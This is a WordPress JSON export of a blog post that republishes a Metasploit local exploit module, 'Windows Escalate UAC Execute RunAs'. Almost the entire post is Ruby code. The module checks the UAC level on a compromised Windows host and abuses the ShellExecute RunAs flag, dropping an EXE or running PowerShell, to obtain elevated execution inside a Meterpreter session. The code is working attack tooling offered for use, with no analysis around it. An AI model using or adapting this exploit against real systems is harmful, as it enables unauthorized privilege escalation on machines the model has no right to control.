{"id":59719,"date":"2024-09-13T20:59:49","date_gmt":"2024-09-13T17:59:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181500\/ask.rb.txt"},"modified":"2024-09-13T20:59:49","modified_gmt":"2024-09-13T17:59:49","slug":"windows-escalate-uac-execute-runas","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/windows-escalate-uac-execute-runas\/","title":{"rendered":"Windows Escalate UAC Execute RunAs"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Local<br \/>Rank = ExcellentRanking<\/p>\n<p>include Post::Windows::Priv<br \/>include Post::Windows::Runas<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Windows Escalate UAC Execute RunAs&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q(<br \/>This module will attempt to elevate execution level using<br \/>the ShellExecute undocumented RunAs flag to bypass low<br \/>UAC settings.<br \/>),<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;mubix&#8217;, # Original technique<br \/>&#8216;b00stfr3ak&#8217; # Added powershell option<br \/>],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;win&#8217;],<br \/>&#8216;SessionTypes&#8217; =&gt; [&#8216;meterpreter&#8217;],<br \/>&#8216;Targets&#8217; =&gt; [[&#8216;Windows&#8217;, {}]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2012-01-03&#8217;<br \/>))<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;FILENAME&#8217;, [false, &#8216;File name on disk&#8217;]),<br \/>OptString.new(&#8216;PATH&#8217;, [false, &#8216;Location on disk, %TEMP% used if not set&#8217;]),<br \/>OptEnum.new(&#8216;TECHNIQUE&#8217;, [true, &#8216;Technique to use&#8217;, &#8216;EXE&#8217;, %w(PSH EXE)]),<br \/>])<br \/>end<\/p>\n<p>def exploit<br \/>if is_uac_enabled?<br \/>print_status &#8216;UAC is Enabled, checking level&#8230;&#8217;<br \/>case get_uac_level<br \/>when UAC_NO_PROMPT<br \/>print_good &#8216;UAC is not enabled, no prompt for the user&#8217;<br \/>else<br \/>print_status &#8220;The user will be prompted, wait for them to click &#8216;Ok'&#8221;<br \/>end<br \/>else<br \/>print_good &#8216;UAC is not enabled, no prompt for the user&#8217;<br \/>end<\/p>\n<p>case datastore[&#8216;TECHNIQUE&#8217;]when &#8216;EXE&#8217;<br \/>shell_execute_exe(datastore[&#8216;FILENAME&#8217;], datastore[&#8216;PATH&#8217;])<br \/>when &#8216;PSH&#8217;<br \/>shell_execute_psh<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::LocalRank = ExcellentRanking include Post::Windows::Privinclude Post::Windows::Runas def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Windows Escalate UAC Execute RunAs&#8217;,&#8216;Description&#8217; =&gt; %q(This module will attempt to elevate execution level usingthe ShellExecute undocumented RunAs flag to bypass lowUAC settings.),&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;Author&#8217; =&gt; [&#8216;mubix&#8217;, # Original technique&#8216;b00stfr3ak&#8217; # Added &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59719","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59719","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59719"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59719\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}